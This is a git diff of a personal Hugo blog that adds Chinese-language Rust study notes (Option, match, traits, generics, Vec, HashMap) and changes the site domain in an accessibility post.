+</code></pre><p>如果使用None，则需要提前提供是什么类型，因为无法通过None来推断出类型</p><p>Option比null好的原因是，Option(T)和任何类型都不相同，无法将Option和i64类型的值进行处理</p><p>如果有值则：</p><pre><code>let num1:Option &lt;i64&gt; = Some(233);
+</code></pre><p>如果使用Some，表示有个值存于Some中</p><p>使用Option枚举类型：</p><pre><code>fn Test(a:Option&lt;i64&gt;) -&gt; Option&lt;i64&gt; {
+    match a {
+        Some(i) =&gt; Some(i),
+        None =&gt; None,
+    }
+}
+let abc = Some(666);
+let xyz = Test(abc);
+</code></pre><p>上面例子中，通过Test函数传入一个Option类型的参数，并且返回一个Option类型的值，使用match模式匹配，如果传入None则返回None，传入Some(i64)，则返回其本身（也就是Some(i64)）</p><hr><p>模式匹配</p><p>match语句</p><pre><code>enum Demo{
+    Hallo,
+    Abc,
+    Xyz,
+};
+let test1 = Demo::Xyz;
+let test2 = match test1 {
+    Demo::Hallo =&gt; &quot;hallo word&quot;,
+    Demo::Abc | Demo::Xyz =&gt; &quot;hallo abcxyz&quot;,
+    },
+    _ =&gt;&quot;0&quot;,
+};
+</code></pre><p>上面例子中进行匹配Demo对应的枚举类型，match会穷尽列出全部已知的可能，如果存在不知道的可能，使用下划线_来表示，match语句与switch语句很像，match的分支必须指向一个表达式，而且每个分支的表达式结果必须是相同类型的</p><p>假如只想对单个模式来进行处理，可使用if let语句，例如：</p><pre><code>let test1 = Demo::Xyz;
+if let Test2(Demo::Xyz) = test1{
+    println!(&quot;hallo wrod&quot;);
+}
+</code></pre><p>上面例子中，如果匹配到Demo::Xyz，输出hallo wrod，如果不匹配则忽略</p><p>注意：match和if let会在模式匹配时进行覆盖老值，绑定新的值</p><p>matches!宏匹配，可以将一个表达式和模式来进行匹配，返回结果是布尔值，例如：</p><pre><code>let a = 1;
+assert!(matches!(1..100 | -1..-100));
+</code></pre><hr><p>方法</p><p>rust使用impl关键字来定义方法</p><pre><code>struct Demo {
+    id: i64,
+    user: String,
+}
+impl Demo {
+    fn new(id: i64, user: String) -&gt; Demo {
+        Demo{
+            id: id,
+            user: user,
+        }
+    }
+    fn printa(&amp;self){
+        println!(self.user)
+    }
+}
+fn mian(){
+    let a = Demo{
+        id: 1,
+        user: &quot;root&quot;,
+    }
+    a.printa()
+}
+</code></pre><p>&amp;self为借用Demo结构体，new函数是Demo方法的关联函数，用于初始化结构体实例</p><p>&amp;self是self: &amp;Self的简写，self有所有权，而&amp;self是表示不可变借用，&amp;mut self就是可变借用</p><p>impl Demo是struct Demo的实现，另外rust允许方法名与结构体的字段名相同，调用方法加()，否则就是在访问字段</p><p>rust自动引用和解引用：当一个对象调用方法时，会自动为该对象添加&，&amp;mut，*来确保该对象能与方法匹配</p><p>关联函数：当一个存在于impl中，但是没有使用self的函数就被叫关联函数，通常存在impl中的new函数是结构体的构造实例器（rust没有使用new作为关键字，并不强制使用new）</p><p>关联函数因为不是方法，需要使用::来调用，例如Demo::new(2,&ldquo;admin&rdquo;)</p><p>rust允许将结构体定义成多个impl块，而不需要全部都写到一块，更灵活扩展</p><p>枚举类型也可被实现</p><hr><p>泛型与特征</p><p>泛型，当需要对可能存在不同类型的数据处理，但是处理逻辑是一样时，可使用泛型来避免重复，例如：</p><pre><code>fn test&lt;T: std::ops::Add&lt;Output = T&gt;&gt;(a:T, b:T) -&gt; T {
+    a + b
+}
+fn mian(){
+    println!(&quot;{}&quot;,test(1,2));
+    println!(&quot;{}&quot;,test(3.14,1.23));
+}
+</code></pre><p>注意：T是泛型参数，泛型参数是可自定义的，不过一般都是用T（表示Type），T可以表示任何类型，但是不是所有类型可以进行比较运算处理的，需要通过特征（这里是&lt;T: std::ops::Add&lt;Output = T>）来限制T的类型</p><p>结构体泛型</p><pre><code>struct Demo&lt;T&gt;{
+    a: T,
+    b: T,
+}
+fn main(){
+    let x = Demo{a: 1,b: 21};
+    let y = Demo{a: 1.23, b: 3.14};
+    let z = Demo{a: &quot;hallo word&quot;, b: &quot;hahaha&quot;}
+}
+</code></pre><p>注意：结构体中使用T泛型的，必须是相同类型，因为第一个字段被赋值，会推断T类型为该赋值的实质类型，因此会报错的</p><p>如果想使用类型不同，又想使用泛型，可使用多个泛型参数来分别表示不同的类型</p><p>枚举泛型，Option枚举类型就是使用了泛型的，这里就不写了</p><p>方法泛型，例如：</p><pre><code>struct Demo&lt;T, U&gt; {
+    id: T,
+    user: U,
+}
+impl&lt;T,U&gt; Demo&lt;T,U&gt; {
+    fn new(id: T, user: U) -&gt; Demo&lt;T,U&gt; {
+        Demo{
+            id: id,
+            user: user,
+        }
+    }
+    fn printa(&amp;self){
+        println!(self.user)
+    }
+}
+</code></pre><p>注意：使用泛型参数必须在提前声明</p><p>const泛型（Rust 1.51 版本引入）</p><p>const泛型是针对值的泛型，而不是针对类型，例如：</p><pre><code>fn Demo&lt;T: std::fmt::Debug,const U:i64&gt;(a:[T; U]){
+    println!(&quot;{:?}&quot; a)
+}
+fn main(){
+    let a: [i64:5] = [0,123,666,888,987];
+    Demo(a)
+    let a: [i64:2] = [0,123];
+    Demo(a)
+}
+</code></pre><p>rust在编译阶段会对泛型的多个类型生成独立的代码（单态），会牺牲一些编译完成文件的大小和编译速度</p><p>特征</p><p>声明一个特征使用trait关键字，例如：</p><pre><code>pub trait Demo {
+    fn DemoTest(&amp;self);
+}
+</code></pre><p>实现一个特征</p><pre><code>pub struct Home {
+    pub user: String,
+    pub pass: String,
+}
+impl Demo for Home {
+    fn DemoTest(&amp;self) -&gt; String {
+        format!(&quot;用户是{},密码是{}&quot;,self.user,self.pass);
+    }
+}
+pub struct Abc {
+    pub admin: String,
+    pub rank: String,
+}
+impl Demo for Abc {
+    fn DemoTest(&amp;self) -&gt; String {
+        format!(&quot;管理者是{},管理等级是{}&quot;,self.admin,self.rank);
+    }
+}
+
+fn main() {
+    let home1 = Home{user: &quot;xiaochen&quot;,padd: &quot;abc123456789&quot;};
+    let xyz = Abc{admin: &quot;main&quot;,rank: &quot;max&quot;};
+println!(&quot;{}&quot;,home1.DemoTest());
+println!(&quot;{}&quot;,xyz.DemoTest());
+}
+</code></pre><p>从上面的例子中可以看出，特征是定义了一种行为，实现该特征就可使用该行为，特征和结构体，枚举类型是很像的，但是特征可被共享到每个实现上（因为rust没有继承概念，但是行为/方法是相同的）</p><p>注意：特征存在一种规则，想实现一个特征必须至少一个是在当前作用域定义的，这个规则是为了避免不会破坏特征和实现的定义</p><p>默认实现（无需实现该方法，默认使用该实现，也可对默认实现进行重载）</p><pre><code>pub trait Demo {
+    fn DemoTest(&amp;self) -&gt; String {
+        String::form(&quot;hallo wrod&quot;);
+    }
+}
+</code></pre><p>只要在实现中没有重载该方法，就会使用默认实现</p><p>特征作为函数参数</p><pre><code>pub fn Demo1(data: &amp;impl Demo){
+    println!(&quot;{}&quot;,data.DemoTest());
+}
+</code></pre><p>在上面例子中，data函数参数实现了Demo特征，当然也可以使用其他实现了Demo特征的类型来作为参数</p><p>特征约束</p><pre><code>pub fn Demo2&lt;T: Demo&gt; (data: &amp;T){}
+</code></pre><p>上面例子就是特征约束，特征约束可限制函数参数必须是实现了Demo特征的类型</p><p>多重约束</p><pre><code>pub fn Demo3&lt;T: Demo + AbcTest&gt; (data: &amp;T){}
+</code></pre><p>或者</p><pre><code>pub fn Demo3(data: &amp;(impl Demo + AbcTest)){}
+</code></pre><p>上面例子就是多重约束，可限制参数必须使用Demo特征，还必须实现AbcTest特征</p><p>Where 约束（简写多重约束）</p><pre><code>pub fn Demo4&lt;T&gt;(data: &amp;T) -&gt; String
+    where T: Demo + AbcTest,
+    {}
+</code></pre><p>特征约束高级应用</p><pre><code>impl &lt;T:Dome1 + Dome2&gt; Demo&lt;T&gt; {
+    fn Test1(&amp;self){
+        println!(&quot;hallo word&quot;);
+    }
+}
+</code></pre><p>上面例子中，只有实现了Dome1特征和Dome2特征的Demo才拥有Test1方法</p><p>impl Demo也可以声明返回了一个类型，这个类型实现了Demo特征，例如：</p><pre><code>fn Demo5() -&gt; impl Demo {
+    Home{
+        user: String::from(&quot;xiaochen&quot;),
+        padd: String::from(&quot;abc123456789&quot;),
+    };
+}
+</code></pre><hr><p>集合类型</p><p>集合类型，在rust中是特殊的类型，因为集合类型可以表示多个值，而其他数据类型大多只能表示一个值，集合类型的值被分配到堆内存上，集合类型分3种，分别是vector动态数组（每个元素分配的空间都是一致的，大小，宽度，高度），HashMap KV存储（每个元素都是成对，一个k对应着另一个v），以及String类型</p><p>创建vector动态数组</p><pre><code>let mut a: Vec(i64) = Vec::new();
+</code></pre><p>注意：rust编译器可通过a.push()自行推导出数据类型，因此不显式声明类型也是没问题的</p><p>还可以通过vec!宏来创建，例如：</p><pre><code>let mut a = vec![123,666,888,1000];
+</code></pre><p>更新动态数组，通过push方法来完成，例如：</p><pre><code>let mut a = Vec::new();
+a.push(123);
+</code></pre><p>读取元素，有2种方式，分别是下标索引，get方法，例如：</p><pre><code>let mut a = vec![123,666,888,1000];
+let b: &amp;i32 = &amp;a[3];
+    match a.get(3){
+            Some(c) =&gt; println!(&quot;{c}&quot;),
+            None =&gt; println!(&quot;没有这个元素&quot;)
+    }
+</code></pre><p>集合类型的下标索引从0开始，&amp;a[3]是借用a动态数组的第4个元素，也就是1000，最后获取导该元素的引用</p><p>get方法的返回值是Option&lt;&amp;T>，因此需要match来匹配解构出目标值</p><p>下标索引和get方法的区别，很简单，就是下标索引会出现数组越界问题（报错），而get方法通过Option&lt;&amp;T>。如果不存在该值会返回None（安全，不报错）</p><p>动态数组和其他类型一样，超出作用域外，会被自动销毁</p><p>注意：动态数组的大小是可变的，因此当原数组大小不够时，会分配一个更大的内存空间，再将原数组拷贝到这个更大的内存空间的新数组上，因此在push之前不要进行任何引用避免分配到新内存空间后，之前的引用指到一块无效的内存，rust编译器会自动检查，如果在push之前进行了引用（包括不可变借用和可变借用），如果在push之后没有使用，就正常通过，如果使用了，会报错</p><p>可创建指定大小的Vector，通过Vec::with_capacity(10)来完成</p><p>迭代遍历动态数组元素</p><pre><code>let mut a = vec![123,666,888,1000];
+for i in &amp;mut a {
+    *i += 1;
+    println!(&quot;{i}&quot;);
+}
+</code></pre><p>通过枚举类型和特征对象来实现动态数组存储不同类型的元素，例如：</p><p>枚举类型</p><pre><code>enum Abc {
+    id(i64),
+    user(String),
+    padd(String),
+}
+fn useraddr(abc:Abc){
+    println!(&quot;{:?}&quot;,abc);
+}
+
+fn main(){
+    let a = vec![
+        Abc::id(1); 
+        Abc::user(&quot;admin&quot;.to_string()); 
+        Abc::padd(String::from(&quot;123456&quot;)); 
+    ]
+    for i in a {
+        useraddr(i);
+    }
+}
+</code></pre><p>特征对象</p><pre><code>trait Abc {
+    fn useraddr(&amp;self);
+}
+struct id(i64);
+imp Abc for id {
+    fn useraddr(&amp;self) {
+        println!(&quot;id: {:?}&quot;,self.0)
+    }
+}
+
+struct user(String);
+imp Abc for user {
+    fn useraddr(&amp;self) {
+        println!(&quot;user: {:?}&quot;,self.0)
+    }
+}
+
+struct padd(String);
+imp Abc for padd {
+    fn useraddr(&amp;self) {
+        println!(&quot;padd: {:?}&quot;,self.0)
+    }
+}
+fn main() {
+    let a: Vec&lt;data&lt;dyn Abc&gt;&gt; = vec![
+        data::new(id(1)),
+        data::new(user(&quot;admin&quot;.to_string())),
+        data::new(padd(&quot;123456&quot;.to_string())),
+    ];
+    for i in a {
+        i.useraddr();
+    }
+}
+</code></pre><p>注意：必须表示数组中存储的是哪个特征的对象，例如上面例子中的Vec&lt;data>，表示是特征Abc的对象</p><p>HashMap KV存储和动态数组不同，存储的是映射的KV键值对，可通过一个键查询到值，查询效率非常高，复杂度为O(1)</p><p>创建HashMap KV存储</p><p>可通过new方法创建，例如：</p><pre><code>use std::collections::HashMap;
+let mut hashdata = HashMap::new();
+hashdata.insert(&quot;uesr&quot;,&quot;admin&quot;);
+hashdata.insert(&quot;padd&quot;,&quot;admin12345&quot;);
+</code></pre><p>注意：HashMap没有包含在Rust的prelude中，需要手动从标准库中use引入</p><p>可创建指定大小的HashMap，通过HashMap::with_capacity(10)来完成</p><p>可以通过迭代器和collect方法创建，例如：</p><pre><code>use std::collections::HashMap;
+let DataList = vec![
+    (&quot;牛奶&quot;.to_string(), 3),
+    (&quot;方便面&quot;.to_string(), 4),
+    (&quot;可乐&quot;.to_string(), 3),
+];
+let MapData: HashMap&lt;_,_&gt; = DataList.into_iter().collect();
+println!(&quot;{:?}&quot;,MapData)
+</code></pre><p>注意：HashMap的所有权取决于kv的类型，如果类型实现了Copy特征，那么改类型被复制到HashMap中，如果没有实现，则所有权转移到HashMap</p><p>获取HashMap元素通过get方法，例如：</p><pre><code>use std::collections::HashMap;
+let mut abc = HashMap::new();
+abc.insert(String::from(&quot;雪糕&quot;), 4);
+let test = String::from(&quot;雪糕&quot;);
+let testSearch: Option&lt;&amp;i32&gt; = abc.get(&amp;test);
+let testScore: i32 = testSearch.get(&amp;test).copied().unwrap_or(0);
+</code></pre><p>上面例子使用了借用规则，避免获取元素时，发生所有权的转移，并且使用Option&lt;&amp;i32>类型，如果没有该对象，返回None，安全</p><p>更新HashMap的中，例如：</p><pre><code>use std::collections::HashMap;
+let mut data1 = HashMap::new();
+   data1.insert(&quot;薯条&quot;, 5);
+   let a = data1.insert(&quot;薯条&quot;, 10);
+assert_eq!(a, Some(5));
+   let b = data1.get(&quot;薯条&quot;);
+assert_eq!(b, Some(&amp;10));
+let c = data1.entry(&quot;啤酒&quot;).or_insert(5);
+assert_eq!(*c, 5);
+</code></pre><p>上面例子中包含覆盖值；查询新插入的值；查询目标值，如果不存在则插入新值，3种情况</p><p>注意：不是所有类型都可以作为hashmap的key，能否作为取决于类型是否实现了std::cmp::Eq特征（相等比较），目前HashMap使用的哈希函数是SipHash散列函数</p><hr><p>类型转换</p><hr><p>包和模块</p><hr><p>格式化输出</p><hr><p>生命周期</p><hr><p>错误处理</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/rust/>Rust</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/144/><span class=title>« Prev</span><br><span>简单了解a11y无障碍</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/141/><span class=title>Next »</span><br><span>Flutter框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/144/index.html b/posts/144/index.html
index 1094908a..55f3aee0 100644
--- a/posts/144/index.html
+++ b/posts/144/index.html
@@ -10,8 +10,8 @@
 可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））
 可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）
 可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）
-鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/144/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解a11y无障碍"><meta property="og:description" content="a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
+鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/144/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解a11y无障碍"><meta property="og:description" content="a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
 w3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/
@@ -23,7 +23,7 @@
 可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））
 可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）
 可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）
-鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/144/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-04-09T13:01:00+00:00"><meta property="article:modified_time" content="2022-04-09T13:01:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解a11y无障碍"><meta name=twitter:description content="a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
+鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/144/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-04-09T13:01:00+00:00"><meta property="article:modified_time" content="2022-04-09T13:01:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解a11y无障碍"><meta name=twitter:description content="a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
 w3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/
@@ -35,7 +35,7 @@
 可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））
 可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）
 可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）
-鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解a11y无障碍","item":"https://xiaochenabc123.github.io/posts/144/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解a11y无障碍","name":"简单了解a11y无障碍","description":"a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍\n让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）\n在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.\nw3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/\n妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器\n常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）\nmdn对于障碍人士可访问性优化提供了建议：\n1.使用多种方式传达内容，比如从文本到语音或是视频； 2.更易理解的内容，例如使用更通俗的语言书写的文本； 3.将注意力集中在重要内容上； 4.尽量减少干扰，例如不必要的内容或广告； 5.一致的网页布局和导航； 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色； 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器； 8.在不影响安全性的情况下尽可能让网站认证更简单；并且 